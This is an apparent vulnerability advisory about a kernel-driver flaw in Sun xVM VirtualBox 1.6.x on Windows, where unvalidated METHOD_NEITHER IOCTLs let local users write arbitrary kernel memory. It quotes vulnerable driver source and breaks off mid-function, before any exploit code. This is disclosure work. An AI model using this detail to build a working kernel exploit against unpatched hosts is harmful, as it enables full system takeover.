In February 2008 Sun Microsystems announced the acquisition of Innotek
[1] and VirtualBox was integrated into Sun's xVM family of
virtualization technologies. In May 2008, Sun Microsystems announced
that the number of downloads of the open source VirtualBox software
package passed the five million mark [2].
When used on a Windows Host Operating System VirtualBox installs a
kernel driver ('VBoxDrv.sys') to control virtualization of guest
Operating Systems.
An input validation vulnerability was discovered within VirtualBox's
'VBoxDrv.sys' driver that could allow an attacker, with local but
un-privileged access to a host where VirtualBox is installed, to execute
arbitrary code within the kernel of the Windows host operating system
and to gain complete control of a vulnerable computer system.
*Vulnerable Packages*
. Sun xVM VirtualBox 1.6.2.
. Sun xVM VirtualBox 1.6.0.
. This issue only occurs in the Microsoft Windows versions of xVM
VirtualBox.
*Non-vulnerable Packages*
. Sun xVM VirtualBox 1.6.4 (for Microsoft Windows)
*Vendor Information, Solutions and Workarounds*
No workarounds exist for this issue. A security bulletin from the vendor
that describes this issue is available here:
http://sunsolve.sun.com/search/document.do?assetkey=1-66-240095-1.
*Credits*
This vulnerability was discovered and researched by Anibal Sacco from
the CORE IMPACT Exploit Writing Team (EWT) at Core Security Technologies.
*Technical Description / Proof of Concept Code*
When the VirtualBox package is installed on a host the 'VBoxDrv.sys'
driver is loaded on the machine. This driver allows any unprivileged
user to open the device '\\.\VBoxDrv' and issue IOCTLs with a buffering
mode of METHOD_NEITHER without any kind of validation. This allows
untrusted user mode code to pass arbitrary kernel addresses as arguments
to the driver.
With specially constructed input, a malicious user can use functionality
within the driver to patch kernel addresses and execute arbitrary code
in kernel mode. When handling IOCTLs a communication method must be
pre-defined between the user-mode application and the driver module. The
selected method will determine how the I/O Manager manipulates memory
buffers used in the communication.
The 'METHOD_NEITHER' is a very dangerous method because the pointer
passed to 'DeviceIoControl' as input or output buffer will be sent
directly to the driver, thus transferring it the responsibility of doing
the proper checks to validate the addresses sent from user mode.
The 'VBoxDrv.sys' driver uses the 'METHOD_NEITHER' communication method
when handling IOCTLs request and does not validate properly the buffer
sent in the Irp object allowing an attacker to write to any memory
address in the kernel-mode.
Let's see the bug on the source. This is the function used to handle the
IOCTL requests at 'SUPDrv-win.cpp'.
/---
NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_OBJECT pDevObj, PIRP
pIrp)
{
PSUPDRVDEVEXT pDevExt = (PSUPDRVDEVEXT)pDevObj->DeviceExtension;
PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(pIrp);
PSUPDRVSESSION pSession =
(PSUPDRVSESSION)pStack->FileObject->FsContext;
/*
* Deal with the two high-speed IOCtl that takes it's arguments from
* the session and iCmd, and only returns a VBox status code.
*/
ULONG ulCmd = pStack->Parameters.DeviceIoControl.IoControlCode;
if (ulCmd == SUP_IOCTL_FAST_DO_RAW_RUN
(1) || ulCmd == SUP_IOCTL_FAST_DO_HWACC_RUN
|| ulCmd == SUP_IOCTL_FAST_DO_NOP)
{
KIRQL oldIrql;
int rc;
/* Raise the IRQL to DISPATCH_LEVEl to prevent Windows from
rescheduling us to another CPU
